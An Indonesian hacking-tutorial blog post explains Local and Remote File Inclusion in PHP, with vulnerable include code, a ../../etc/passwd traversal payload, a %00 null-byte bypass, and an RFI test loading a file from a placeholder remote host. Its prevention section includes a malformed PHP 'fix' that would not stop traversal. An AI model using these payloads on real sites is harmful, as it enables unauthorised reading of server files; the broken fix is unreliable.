Home Teknik Hacking Learning Local File Inclusion and Remote File Inclusion
formats

Learning Local File Inclusion and Remote File Inclusion

Pengertian

Kali ini ane mau bahas tentang LFI dan RFI. Memang teknik ini sudah terbilang jadul. Namun tidak menutup kemungkinan masih  banyak yang memakainya karena kerentanan website akibat lengahnya si programmer. Apa sih LFI/RFI itu ?. LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL. Sedangkan RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.

Penjelasan

Fungsi-fungsi yang dapat menyebabkan LFI/RFI:

Kode:

include();

include_once();

require();

require_once();

Dengan syarat pada konfigurasi php di server:

allow_url_include = on

allow_url_fopen = on

magic_quotes_gpc = off

contoh:

misalkan kita punya file index.php dengan content kodenya seperti ini,

Code:

<?php

include “../$_GET[uploadfile]“;

?>

misal $imagefile=upload.php

mungkin di url akan terlihat seperti ini bentuknya

Code:

http://www.[target].com/index.php?uploadfile=upload.php

maka script ini akan menampilkan halaman upload.php.

Disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.

Misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah “../” itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target.

Tapi seandainya terdapat error seperti di bawah ini:

Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2

Ternyata pada passwd ditambah dengan extensi “.php” berarti code yang digunakan untuk include adalah seperti ini:

Kode:

<?php

include($_GET[uploadfile].”.php”);

?>

Untuk dapat mengelabui script tersebut kita bisa menggunakan %00 (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan %00 seperti

http://www.[target].com/index.php?uploadfile=../../../../../../../../../etc/passwd%00

lalu untuk apa %00? yaitu untuk menghilangkan karakter apapun setelah passwd.

* %00 ini disebut null injection.

Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable uploadfile. misalnya:

http://www.[target].com/index.php?uploadfile=http://www.[remote].com/hacked.txt

dengan file hacked.txt misal berisi “hacked by Anonymous”

jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.

Pencegahan

Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu

1. Memvalidasi variable.

2. Mengkonfigurasi kembali settingan php pada server website Anda.

allow_url_include = off

allow_url_fopen = off

magic_quotes_gpc = on

3. pada include mungkin bisa ditambahkan “./”

jadinya seperti ini,

Code:

include(“./”$_GET[uploadfile].”.php”);

maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.

http://www.[target].com/index.php?uploadfile=http://www.[remote].com/hacked.txt

Dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/hacked.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tersebut.

One Response

  1. Excellent article blog of information that you serve, thanks a lot this a good blog perhumas

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>